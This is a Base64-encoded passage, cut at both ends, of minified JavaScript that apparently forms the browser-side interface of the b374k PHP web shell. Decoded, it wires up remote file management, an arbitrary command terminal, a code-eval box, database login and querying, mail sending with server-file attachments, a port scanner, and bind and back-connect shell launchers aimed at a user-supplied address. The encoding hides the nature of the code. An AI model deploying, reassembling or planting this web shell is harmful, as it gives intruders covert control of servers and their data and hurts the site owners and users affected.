bGljaycsZnVuY3Rpb24oZSl7cGF0aD0kKHRoaXMpLmF0dHIoJ2RhdGEtcGF0aCcpO25hdmlnYXRlKHBhdGgpO2hpZGVfYm94KCl9KTskKCcubmV3Zm9sZGVyJykub2ZmKCdjbGljaycpOyQoJy5uZXdmb2xkZXInKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTtuZXdmb2xkZXIocGF0aCl9KTskKCcubmV3ZmlsZScpLm9mZignY2xpY2snKTskKCcubmV3ZmlsZScpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD1odG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpO25ld2ZpbGUocGF0aCl9KTskKCcuZGVsJykub2ZmKCdjbGljaycpOyQoJy5kZWwnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTtkZWwocGF0aCl9KTskKCcudmlldycpLm9mZignY2xpY2snKTskKCcudmlldycpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTt2aWV3KHBhdGgsJ2F1dG8nKTtoaWRlX2JveCgpfSk7JCgnLmhleCcpLm9mZignY2xpY2snKTskKCcuaGV4Jykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO3ZpZXcocGF0aCwnaGV4Jyl9KTskKCcjdmlld0Z1bGxzaXplJykub2ZmKCdjbGljaycpOyQoJyN2aWV3RnVsbHNpemUnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3NyYz0kKCcjdmlld0ltYWdlJykuYXR0cignc3JjJyk7d2luZG93Lm9wZW4oc3JjKX0pOyQoJy5lZGl0Jykub2ZmKCdjbGljaycpOyQoJy5lZGl0Jykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO3ZpZXcocGF0aCwnZWRpdCcpO2hpZGVfYm94KCl9KTskKCcucmVuJykub2ZmKCdjbGljaycpOyQoJy5yZW4nKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTtyZW4ocGF0aCl9KTskKCcuYWN0aW9uJykub2ZmKCdjbGljaycpOyQoJy5hY3Rpb24nKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTthY3Rpb24ocGF0aCwnZmlsZScpfSk7JCgnLmFjdGlvbmZvbGRlcicpLm9mZignY2xpY2snKTskKCcuYWN0aW9uZm9sZGVyJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7YWN0aW9uKHBhdGgsJ2RpcicpfSk7JCgnLmFjdGlvbmRvdCcpLm9mZignY2xpY2snKTskKCcuYWN0aW9uZG90Jykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7YWN0aW9uKHBhdGgsJ2RvdCcpfSk7JCgnLmRsJykub2ZmKCdjbGljaycpOyQoJy5kbCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD1odG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOyQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkb3dubG9hZCcgdmFsdWU9JyIrcGF0aCsiJz4iKTskKCcjZm9ybScpLnN1Ym1pdCgpOyQoJyNmb3JtJykuaHRtbCgnJyk7aGlkZV9ib3goKX0pOyQoJy51bCcpLm9mZignY2xpY2snKTskKCcudWwnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9eHBsX2hyZWYoJCh0aGlzKSk7bmF2aWdhdGUocGF0aCxmYWxzZSk7cGF0aD1odG1sX3NhZmUocGF0aCk7dWwocGF0aCk7aGlkZV9ib3goKX0pOyQoJy5maW5kJykub2ZmKCdjbGljaycpOyQoJy5maW5kJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO25hdmlnYXRlKHBhdGgsZmFsc2UpO3BhdGg9aHRtbF9zYWZlKHBhdGgpO2ZpbmQocGF0aCk7aGlkZV9ib3goKX0pOyQoJyNtYXNzQWN0aW9uJykub2ZmKCdjbGljaycpOyQoJyNtYXNzQWN0aW9uJykub24oJ2NoYW5nZScsZnVuY3Rpb24oZSl7dHlwZT0kKCcjbWFzc0FjdGlvbicpLnZhbCgpO21hc3NfYWN0KHR5cGUpOyQoJyNtYXNzQWN0aW9uJykudmFsKCdBY3Rpb24nKX0pO2Nib3hfYmluZCgneHBsVGFibGUnLCd4cGxfdXBkYXRlX3N0YXR1cycpfWZ1bmN0aW9uIHhwbF9ocmVmKGVsKXtyZXR1cm4gZWwucGFyZW50KCkucGFyZW50KCkuYXR0cignZGF0YS1wYXRoJyl9ZnVuY3Rpb24gbXVsdGltZWRpYShwYXRoKXt2YXIgYT0kKCd2aWRlbycpLmdldCgwKTtzZW5kX3Bvc3Qoe211bHRpbWVkaWE6cGF0aH0sZnVuY3Rpb24ocmVzKXthLnNyYz1yZXN9KTtoaWRlX2JveCgpfSQoJyN0ZXJtaW5hbElucHV0Jykub24oJ2tleWRvd24nLGZ1bmN0aW9uKGUpe2lmKGUua2V5Q29kZT09MTMpe2NtZD0kKCcjdGVybWluYWxJbnB1dCcpLnZhbCgpO3Rlcm1pbmFsSGlzdG9yeS5wdXNoKGNtZCk7dGVybWluYWxIaXN0b3J5UG9zPXRlcm1pbmFsSGlzdG9yeS5sZW5ndGg7aWYoY21kPT0nY2xlYXInfHxjbWQ9PSdjbHMnKXskKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCcnKX1lbHNlIGlmKChwYXRoPWNtZC5tYXRjaCgvY2QoLiopL2kpKXx8KHBhdGg9Y21kLm1hdGNoKC9eKFthLXpdOikkL2kpKSl7cGF0aD0kLnRyaW0ocGF0aFsxXSk7bmF2aWdhdGUocGF0aCl9ZWxzZSBpZihjbWQhPScnKXtzZW5kX3Bvc3Qoe3Rlcm1pbmFsSW5wdXQ6Y21kfSxmdW5jdGlvbihyZXMpe2N3ZD1odG1sX3NhZmUoZ2V0X2N3ZCgpKTtyZXM9JzxzcGFuIGNsYXNzPVwnc3Ryb25nXCc+Jytjd2QrJyZndDs8L3NwYW4+JytodG1sX3NhZmUoY21kKSsnXG4nK3JlcysnXG4nOyQoJyN0ZXJtaW5hbE91dHB1dCcpLmFwcGVuZChyZXMpO2JvdHRvbT0kKGRvY3VtZW50KS5oZWlnaHQoKS0kKHdpbmRvdykuaGVpZ2h0KCk7JCh3aW5kb3cpLnNjcm9sbFRvcChib3R0b20pfSl9JCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwoJycpO3NldFRpbWVvdXQoIiQoJyN0ZXJtaW5hbElucHV0JykuZm9jdXMoKSIsMTAwKX1lbHNlIGlmKGUua2V5Q29kZT09Mzgpe2lmKHRlcm1pbmFsSGlzdG9yeVBvcz4wKXt0ZXJtaW5hbEhpc3RvcnlQb3MtLTskKCcjdGVybWluYWxJbnB1dCcpLnZhbCh0ZXJtaW5hbEhpc3RvcnlbdGVybWluYWxIaXN0b3J5UG9zXSk7aWYodGVybWluYWxIaXN0b3J5UG9zPDApdGVybWluYWxIaXN0b3J5UG9zPTB9fWVsc2UgaWYoZS5rZXlDb2RlPT00MCl7aWYodGVybWluYWxIaXN0b3J5UG9zPHRlcm1pbmFsSGlzdG9yeS5sZW5ndGgtMSl7dGVybWluYWxIaXN0b3J5UG9zKys7JCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pO2lmKHRlcm1pbmFsSGlzdG9yeVBvcz50ZXJtaW5hbEhpc3RvcnkubGVuZ3RoKXRlcm1pbmFsSGlzdG9yeVBvcz10ZXJtaW5hbEhpc3RvcnkubGVuZ3RofX1maXhfdGFiY2hhcih0aGlzLGUpfSk7ZnVuY3Rpb24gZXZhbF9nbygpe2V2YWxUeXBlPSQoJyNldmFsVHlwZScpLnZhbCgpO2V2YWxJbnB1dD0kKCcjZXZhbElucHV0JykudmFsKCk7ZXZhbE9wdGlvbnM9JCgnI2V2YWxPcHRpb25zJykudmFsKCk7ZXZhbEFyZ3VtZW50cz0kKCcjZXZhbEFyZ3VtZW50cycpLnZhbCgpO2lmKGV2YWxPcHRpb25zPT0nT3B0aW9ucy9Td2l0Y2hlcycpZXZhbE9wdGlvbnM9Jyc7aWYoZXZhbEFyZ3VtZW50cz09J0FyZ3VtZW50cycpZXZhbEFyZ3VtZW50cz0nJztpZigkLnRyaW0oZXZhbElucHV0KSE9Jycpe3NlbmRfcG9zdCh7ZXZhbElucHV0OmV2YWxJbnB1dCxldmFsVHlwZTpldmFsVHlwZSxldmFsT3B0aW9uczpldmFsT3B0aW9ucyxldmFsQXJndW1lbnRzOmV2YWxBcmd1bWVudHN9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtzcGxpdHM9cmVzLnNwbGl0KCd7W3xiMzc0a3xdfScpO2lmKHNwbGl0cy5sZW5ndGg9PTIpe291dHB1dD1zcGxpdHNbMF0rIjxocj4iK3NwbGl0c1sxXTskKCcjZXZhbE91dHB1dCcpLmh0bWwob3V0cHV0KX1lbHNleyQoJyNldmFsT3V0cHV0JykuaHRtbChyZXMpfX19KX19ZnVuY3Rpb24gZXZhbF9pbml0KCl7aWYoKGV2YWxTdXBwb3J0ZWQ9bG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2V2YWxTdXBwb3J0ZWQnKSkpe2V2YWxfYmluZCgpO291dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCk7ZXZhbFJlYWR5PXRydWV9ZWxzZXtzZW5kX3Bvc3Qoe2V2YWxHZXRTdXBwb3J0ZWQ6ImV2YWxHZXRTdXBwb3J0ZWQifSxmdW5jdGlvbihyZXMpe2V2YWxSZWFkeT10cnVlO2lmKHJlcyE9ImVycm9yIil7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2V2YWxTdXBwb3J0ZWQnLHJlcyk7ZXZhbFN1cHBvcnRlZD1yZXM7ZXZhbF9iaW5kKCk7b3V0cHV0KCJldmFsIDogIitldmFsU3VwcG9ydGVkKX19KX19ZnVuY3Rpb24gZXZhbF9iaW5kKCl7aWYoKGV2YWxTdXBwb3J0ZWQhPW51bGwpJiYoZXZhbFN1cHBvcnRlZCE9JycpKXtzcGxpdHM9ZXZhbFN1cHBvcnRlZC5zcGxpdCgiLCIpOyQuZWFjaChzcGxpdHMsZnVuY3Rpb24oaSxrKXskKCcjZXZhbFR5cGUnKS5hcHBlbmQoIjxvcHRpb24+IitrKyI8L29wdGlvbj4iKX0pfSQoJyNldmFsVHlwZScpLm9uKCdjaGFuZ2UnLGZ1bmN0aW9uKGUpe2lmKCQoJyNldmFsVHlwZScpLnZhbCgpPT0ncGhwJyl7JCgnI2V2YWxBZGRpdGlvbmFsJykuaGlkZSgpfWVsc2V7JCgnI2V2YWxBZGRpdGlvbmFsJykuc2hvdygpfX0pOyQoJyNldmFsT3B0aW9ucycpLm9uKCdmb2N1cycsZnVuY3Rpb24oZSl7b3B0aW9ucz0kKCcjZXZhbE9wdGlvbnMnKTtpZihvcHRpb25zLnZhbCgpPT0nT3B0aW9ucy9Td2l0Y2hlcycpb3B0aW9ucy52YWwoJycpfSk7JCgnI2V2YWxPcHRpb25zJykub24oJ2JsdXInLGZ1bmN0aW9uKGUpe29wdGlvbnM9JCgnI2V2YWxPcHRpb25zJyk7aWYoJC50cmltKG9wdGlvbnMudmFsKCkpPT0nJylvcHRpb25zLnZhbCgnT3B0aW9ucy9Td2l0Y2hlcycpfSk7JCgnI2V2YWxBcmd1bWVudHMnKS5vbignZm9jdXMnLGZ1bmN0aW9uKGUpe2FyZ3M9JCgnI2V2YWxBcmd1bWVudHMnKTtpZihhcmdzLnZhbCgpPT0nQXJndW1lbnRzJylhcmdzLnZhbCgnJyl9KTskKCcjZXZhbEFyZ3VtZW50cycpLm9uKCdibHVyJyxmdW5jdGlvbihlKXthcmdzPSQoJyNldmFsQXJndW1lbnRzJyk7aWYoJC50cmltKGFyZ3MudmFsKCkpPT0nJylhcmdzLnZhbCgnQXJndW1lbnRzJyl9KTskKCcjZXZhbElucHV0Jykub24oJ2tleWRvd24nLGZ1bmN0aW9uKGUpe2lmKGUuY3RybEtleSYmKGUua2V5Q29kZT09MTB8fGUua2V5Q29kZT09MTMpKXtldmFsX2dvKCl9Zml4X3RhYmNoYXIodGhpcyxlKX0pfVplcHRvKGZ1bmN0aW9uKCQpeyQoJyNkZWNvZGVTdHInKS5vbigna2V5ZG93bicsZnVuY3Rpb24oZSl7aWYoZS5jdHJsS2V5JiYoZS5rZXlDb2RlPT0xMHx8ZS5rZXlDb2RlPT0xMykpe2RlY29kZV9nbygpfWZpeF90YWJjaGFyKHRoaXMsZSl9KX0pO2Z1bmN0aW9uIGRlY29kZV9nbygpe2RlY29kZVN0cj0kKCcjZGVjb2RlU3RyJykudmFsKCk7c2VuZF9wb3N0KHtkZWNvZGVTdHI6ZGVjb2RlU3RyfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnI2RlY29kZVJlc3VsdCcpLmh0bWwoJycpOyQoJyNkZWNvZGVSZXN1bHQnKS5odG1sKHJlcyl9fSl9WmVwdG8oZnVuY3Rpb24oJCl7ZGJfaW5pdCgpfSk7dmFyIGRiU3VwcG9ydGVkPSIiO3ZhciBkYlBhZ2VMaW1pdD01MDtmdW5jdGlvbiBkYl9pbml0KCl7aWYoKGRiU3VwcG9ydGVkPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdkYl9zdXBwb3J0ZWQnKSkpe2RiX2JpbmQoKTtvdXRwdXQoImRiIDogIitkYlN1cHBvcnRlZCk7ZGJfYWRkX3N1cHBvcnRlZCgpfWVsc2V7c2VuZF9wb3N0KHtkYkdldFN1cHBvcnRlZDoiIn0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSJlcnJvciIpe2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdkYlN1cHBvcnRlZCcscmVzKTtkYlN1cHBvcnRlZD1yZXM7ZGJfYmluZCgpO291dHB1dCgiZGIgOiAiK2RiU3VwcG9ydGVkKTtkYl9hZGRfc3VwcG9ydGVkKCl9fSl9fWZ1bmN0aW9uIGRiX2FkZF9zdXBwb3J0ZWQoKXtzcGxpdHM9ZGJTdXBwb3J0ZWQuc3BsaXQoIiwiKTskLmVhY2goc3BsaXRzLGZ1bmN0aW9uKGksayl7JCgnI2RiVHlwZScpLmFwcGVuZCgiPG9wdGlvbj4iK2srIjwvb3B0aW9uPiIpfSl9ZnVuY3Rpb24gZGJfYmluZCgpeyQoJyNkYlR5cGUnKS5vbignY2hhbmdlJyxmdW5jdGlvbihlKXt0eXBlPSQoJyNkYlR5cGUnKS52YWwoKTtpZigodHlwZT09J29kYmMnKXx8KHR5cGU9PSdwZG8nKSl7JCgnLmRiSG9zdExibCcpLmh0bWwoJ0RTTiAvIENvbm5lY3Rpb24gU3RyaW5nJyk7JCgnLmRiVXNlclJvdycpLnNob3coKTskKCcuZGJQYXNzUm93Jykuc2hvdygpOyQoJy5kYlBvcnRSb3cnKS5oaWRlKCl9ZWxzZSBpZigodHlwZT09J3NxbGl0ZScpfHwodHlwZT09J3NxbGl0ZTMnKSl7JCgnLmRiSG9zdExibCcpLmh0bWwoJ0RCIEZpbGUnKTskKCcuZGJVc2VyUm93JykuaGlkZSgpOyQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7JCgnLmRiUG9ydFJvdycpLmhpZGUoKX1lbHNleyQoJy5kYkhvc3RMYmwnKS5odG1sKCdIb3N0Jyk7JCgnLmRiVXNlclJvdycpLnNob3coKTskKCcuZGJQYXNzUm93Jykuc2hvdygpOyQoJy5kYlBvcnRSb3cnKS5zaG93KCl9fSk7JCgnI2RiUXVlcnknKS5vbignZm9jdXMnLGZ1bmN0aW9uKGUpe2lmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKXskKCcjZGJRdWVyeScpLnZhbCgnJyl9fSk7JCgnI2RiUXVlcnknKS5vbignYmx1cicsZnVuY3Rpb24oZSl7aWYoJCgnI2RiUXVlcnknKS52YWwoKT09JycpeyQoJyNkYlF1ZXJ5JykudmFsKCdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKX19KTskKCcjZGJRdWVyeScpLm9uKCdrZXlkb3duJyxmdW5jdGlvbihlKXtpZihlLmN0cmxLZXkmJihlLmtleUNvZGU9PTEwfHxlLmtleUNvZGU9PTEzKSl7ZGJfcnVuKCl9fSl9ZnVuY3Rpb24gZGJfbmF2X2JpbmQoKXtkYlR5cGU9JCgnI2RiVHlwZScpLnZhbCgpOyQoJy5ib3hOYXYnKS5vZmYoJ2NsaWNrJyk7JCgnLmJveE5hdicpLm9uKCdjbGljaycsZnVuY3Rpb24oKXskKHRoaXMpLm5leHQoKS50b2dnbGUoKX0pOyQoJy5kYlRhYmxlJykub2ZmKCdjbGljaycpOyQoJy5kYlRhYmxlJykub24oJ2NsaWNrJyxmdW5jdGlvbigpe3R5cGU9JCgnI2RiVHlwZScpLnZhbCgpO3RhYmxlPSQodGhpcykuaHRtbCgpO2RiPSQodGhpcykucGFyZW50KCkucGFyZW50KCkucGFyZW50KCkucHJldigpLmh0bWwoKTtkYl9xdWVyeV90YmwodHlwZSxkYix0YWJsZSwwLGRiUGFnZUxpbWl0KX0pfWZ1bmN0aW9uIGRiX2Nvbm5lY3QoKXtkYlR5cGU9JCgnI2RiVHlwZScpLnZhbCgpO2RiSG9zdD0kKCcjZGJIb3N0JykudmFsKCk7ZGJVc2VyPSQoJyNkYlVzZXInKS52YWwoKTtkYlBhc3M9JCgnI2RiUGFzcycpLnZhbCgpO2RiUG9ydD0kKCcjZGJQb3J0JykudmFsKCk7c2VuZF9wb3N0KHtkYlR5cGU6ZGJUeXBlLGRiSG9zdDpkYkhvc3QsZGJVc2VyOmRiVXNlcixkYlBhc3M6ZGJQYXNzLGRiUG9ydDpkYlBvcnR9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXskKCcjZGJOYXYnKS5odG1sKHJlcyk7JCgnLmRiSG9zdFJvdycpLmhpZGUoKTskKCcuZGJVc2VyUm93JykuaGlkZSgpOyQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7JCgnLmRiUG9ydFJvdycpLmhpZGUoKTskKCcuZGJDb25uZWN0Um93JykuaGlkZSgpOyQoJy5kYlF1ZXJ5Um93Jykuc2hvdygpOyQoJyNkYkJvdHRvbScpLnNob3coKTtkYl9uYXZfYmluZCgpfWVsc2UgJCgnLmRiRXJyb3InKS5odG1sKCdVbmFibGUgdG8gY29ubmVjdCcpfSl9ZnVuY3Rpb24gZGJfZGlzY29ubmVjdCgpeyQoJy5kYkhvc3RSb3cnKS5zaG93KCk7JCgnLmRiVXNlclJvdycpLnNob3coKTskKCcuZGJQYXNzUm93Jykuc2hvdygpOyQoJy5kYlBvcnRSb3cnKS5zaG93KCk7JCgnLmRiQ29ubmVjdFJvdycpLnNob3coKTskKCcuZGJRdWVyeVJvdycpLmhpZGUoKTskKCcjZGJOYXYnKS5odG1sKCcnKTskKCcjZGJSZXN1bHQnKS5odG1sKCcnKTskKCcjZGJCb3R0b20nKS5oaWRlKCl9ZnVuY3Rpb24gZGJfcnVuKCl7ZGJUeXBlPSQoJyNkYlR5cGUnKS52YWwoKTtkYkhvc3Q9JCgnI2RiSG9zdCcpLnZhbCgpO2RiVXNlcj0kKCcjZGJVc2VyJykudmFsKCk7ZGJQYXNzPSQoJyNkYlBhc3MnKS52YWwoKTtkYlBvcnQ9JCgnI2RiUG9ydCcpLnZhbCgpO2RiUXVlcnk9JCgnI2RiUXVlcnknKS52YWwoKTtpZigoZGJRdWVyeSE9JycpJiYoZGJRdWVyeSE9J1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpKXtzZW5kX3Bvc3Qoe2RiVHlwZTpkYlR5cGUsZGJIb3N0OmRiSG9zdCxkYlVzZXI6ZGJVc2VyLGRiUGFzczpkYlBhc3MsZGJQb3J0OmRiUG9ydCxkYlF1ZXJ5OmRiUXVlcnl9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXskKCcjZGJSZXN1bHQnKS5odG1sKHJlcyk7JCgnLnRibFJlc3VsdCcpLmVhY2goZnVuY3Rpb24oKXtzb3J0dGFibGUuayh0aGlzKX0pfX0pfX1mdW5jdGlvbiBkYl9xdWVyeV90YmwodHlwZSxkYix0YWJsZSxzdGFydCxsaW1pdCl7ZGJUeXBlPSQoJyNkYlR5cGUnKS52YWwoKTtkYkhvc3Q9JCgnI2RiSG9zdCcpLnZhbCgpO2RiVXNlcj0kKCcjZGJVc2VyJykudmFsKCk7ZGJQYXNzPSQoJyNkYlBhc3MnKS52YWwoKTtkYlBvcnQ9JCgnI2RiUG9ydCcpLnZhbCgpO3NlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSxkYkhvc3Q6ZGJIb3N0LGRiVXNlcjpkYlVzZXIsZGJQYXNzOmRiUGFzcyxkYlBvcnQ6ZGJQb3J0LGRiUXVlcnk6JycsZGJEQjpkYixkYlRhYmxlOnRhYmxlLGRiU3RhcnQ6c3RhcnQsZGJMaW1pdDpsaW1pdH0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpeyQoJyNkYlJlc3VsdCcpLmh0bWwocmVzKTskKCcudGJsUmVzdWx0JykuZWFjaChmdW5jdGlvbigpe3NvcnR0YWJsZS5rKHRoaXMpfSl9fSl9ZnVuY3Rpb24gZGJfcGFnaW5hdGlvbih0eXBlKXtkYj0kKCcjZGJEQicpLnZhbCgpO3RhYmxlPSQoJyNkYlRhYmxlJykudmFsKCk7c3RhcnQ9cGFyc2VJbnQoJCgnI2RiU3RhcnQnKS52YWwoKSk7bGltaXQ9cGFyc2VJbnQoJCgnI2RiTGltaXQnKS52YWwoKSk7ZGJUeXBlPSQoJyNkYlR5cGUnKS52YWwoKTtpZih0eXBlPT0nbmV4dCcpe3N0YXJ0PXN0YXJ0K2xpbWl0fWVsc2UgaWYodHlwZT09J3ByZXYnKXtzdGFydD1zdGFydC1saW1pdDtpZihzdGFydDwwKXN0YXJ0PTB9ZGJfcXVlcnlfdGJsKGRiVHlwZSxkYix0YWJsZSxzdGFydCxsaW1pdCl9WmVwdG8oZnVuY3Rpb24oJCl7aW5mb19pbml0KCl9KTtmdW5jdGlvbiBpbmZvX2luaXQoKXtpZigoaW5mb1Jlc3VsdD1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb1Jlc3VsdCcpKSl7JCgnLmluZm9SZXN1bHQnKS5odG1sKGluZm9SZXN1bHQpfWVsc2V7aW5mb19yZWZyZXNoKCl9fWZ1bmN0aW9uIGluZm9fdG9nZ2xlKGlkKXskKCcjJytpZCkudG9nZ2xlKCl9ZnVuY3Rpb24gaW5mb19yZWZyZXNoKCl7c2VuZF9wb3N0KHtpbmZvUmVmcmVzaDonaW5mb1JlZnJlc2gnfSxmdW5jdGlvbihyZXMpeyQoJy5pbmZvUmVzdWx0JykuaHRtbChyZXMpO2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvUmVzdWx0JyxyZXMpfSl9WmVwdG8oZnVuY3Rpb24oJCl7fSk7ZnVuY3Rpb24gbWFpbF9zZW5kKCl7bWFpbEZyb209JC50cmltKCQoJyNtYWlsRnJvbScpLnZhbCgpKTttYWlsVG89JC50cmltKCQoJyNtYWlsVG8nKS52YWwoKSk7bWFpbFN1YmplY3Q9JC50cmltKCQoJyNtYWlsU3ViamVjdCcpLnZhbCgpKTttYWlsQ29udGVudD0kKCcjbWFpbENvbnRlbnQnKS52YWwoKTttYWlsQXR0YWNobWVudD0nJztpZigkKCcubWFpbEF0dGFjaG1lbnQnKSl7bWFpbEF0dGFjaG1lbnQ9JCgnLm1haWxBdHRhY2htZW50JykubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMudmFsdWV9KS5nZXQoKS5qb2luKCd7W3xiMzc0a3xdfScpfXNlbmRfcG9zdCh7bWFpbEZyb206bWFpbEZyb20sbWFpbFRvOm1haWxUbyxtYWlsU3ViamVjdDptYWlsU3ViamVjdCxtYWlsQ29udGVudDptYWlsQ29udGVudCxtYWlsQXR0YWNobWVudDptYWlsQXR0YWNobWVudH0sZnVuY3Rpb24ocmVzKXskKCcjbWFpbFJlc3VsdCcpLmh0bWwocmVzKX0pfWZ1bmN0aW9uIG1haWxfYXR0YWNoKCl7Y29udGVudD0iPHRyPjx0ZD5Mb2NhbCBmaWxlIDxhIG9uY2xpY2s9XCIkKHRoaXMpLnBhcmVudCgpLnBhcmVudCgpLnJlbW92ZSgpO1wiPigtKTwvYT48L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J21haWxBdHRhY2htZW50JyB2YWx1ZT0nJz48L3RkPjwvdHI+IjskKCcjbWFpbFRCb2R5JykuYXBwZW5kKGNvbnRlbnQpfVplcHRvKGZ1bmN0aW9uKCQpe3JzX2luaXQoKX0pO2Z1bmN0aW9uIHJzX2luaXQoKXtpZihldmFsUmVhZHkmJihldmFsU3VwcG9ydGVkIT1udWxsKSYmKGV2YWxTdXBwb3J0ZWQhPScnKSl7c3BsaXRzPWV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTskLmVhY2goc3BsaXRzLGZ1bmN0aW9uKGksayl7JCgnLnJzVHlwZScpLmFwcGVuZCgiPG9wdGlvbj4iK2srIjwvb3B0aW9uPiIpfSl9ZWxzZSBzZXRUaW1lb3V0KCdyc19pbml0KCknLDEwMDApOyQoJyNwYWNrZXRDb250ZW50Jykub24oJ2tleWRvd24nLGZ1bmN0aW9uKGUpe2lmKGUuY3RybEtleSYmKGUua2V5Q29kZT09MTB8fGUua2V5Q29kZT09MTMpKXtwYWNrZXRfZ28oKX1maXhfdGFiY2hhcih0aGlzLGUpfSl9ZnVuY3Rpb24gcnNfZ29fYmluZCgpe3JzX2dvKCdiaW5kJyl9ZnVuY3Rpb24gcnNfZ29fYmFjaygpe3JzX2dvKCdiYWNrJyl9ZnVuY3Rpb24gcnNfZ28ocnNUeXBlKXtyc0FyZ3M9IiI7aWYocnNUeXBlPT0nYmluZCcpe3JzUG9ydD1wYXJzZUludCgkKCcjYmluZFBvcnQnKS52YWwoKSk7cnNMYW5nPSQoJyNiaW5kTGFuZycpLnZhbCgpO3JzQXJncz1yc1BvcnQ7cnNSZXN1bHQ9JCgnI2JpbmRSZXN1bHQnKX1lbHNlIGlmKHJzVHlwZT09J2JhY2snKXtyc0FkZHI9JCgnI2JhY2tBZGRyJykudmFsKCk7cnNQb3J0PXBhcnNlSW50KCQoJyNiYWNrUG9ydCcpLnZhbCgpKTtyc0xhbmc9JCgnI2JhY2tMYW5nJykudmFsKCk7cnNBcmdzPXJzUG9ydCsnICcrcnNBZGRyO3JzUmVzdWx0PSQoJyNiYWNrUmVzdWx0Jyl9aWYoKGlzTmFOKHJzUG9ydCkpfHwocnNQb3J0PD0wKXx8KHJzUG9ydD42NTUzNSkpe3JzUmVzdWx0Lmh0bWwoJ0ludmFsaWQgcG9ydCcpO3JldHVybn1pZihyc0FyZ3MhPScnKXtzZW5kX3Bvc3Qoe3JzTGFuZzpyc0xhbmcscnNBcmdzOnJzQXJnc30sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe3NwbGl0cz1yZXMuc3BsaXQoJ3tbfGIzNzRrfF19Jyk7aWYoc3BsaXRzLmxlbmd0aD09Mil7b3V0cHV0PXNwbGl0c1swXSsiPGhyPiIrc3BsaXRzWzFdO3JzUmVzdWx0Lmh0bWwob3V0cHV0KX1lbHNle3JzUmVzdWx0Lmh0bWwocmVzKX19fSl9fWZ1bmN0aW9uIHBhY2tldF9nbygpe3BhY2tldEhvc3Q9JCgnI3BhY2tldEhvc3QnKS52YWwoKTtwYWNrZXRTdGFydFBvcnQ9cGFyc2VJbnQoJCgnI3BhY2tldFN0YXJ0UG9ydCcpLnZhbCgpKTtwYWNrZXRFbmRQb3J0PXBhcnNlSW50KCQoJyNwYWNrZXRFbmRQb3J0JykudmFsKCkpO3BhY2tldFRpbWVvdXQ9cGFyc2VJbnQoJCgnI3BhY2tldFRpbWVvdXQnKS52YWwoKSk7cGFja2V0U1RpbWVvdXQ9cGFyc2VJbnQoJCgnI3BhY2tldFNUaW1lb3V0JykudmFsKCkpO3BhY2tldENvbnRlbnQ9JCgnI3BhY2tldENvbnRlbnQnKS52YWwoKTtwYWNrZXRSZXN1bHQ9JCgnI3BhY2tldFJlc3VsdCcpO3BhY2tldFN0YXR1cz0kKCcjcGFja2V0U3RhdHVzJyk7aWYoKGlzTmFOKHBhY2tldFN0YXJ0UG9ydCkpfHwocGFja2V0U3RhcnRQb3J0PD0wKXx8KHBhY2tldFN0YXJ0UG9ydD42NTUzNSkpe3BhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIHN0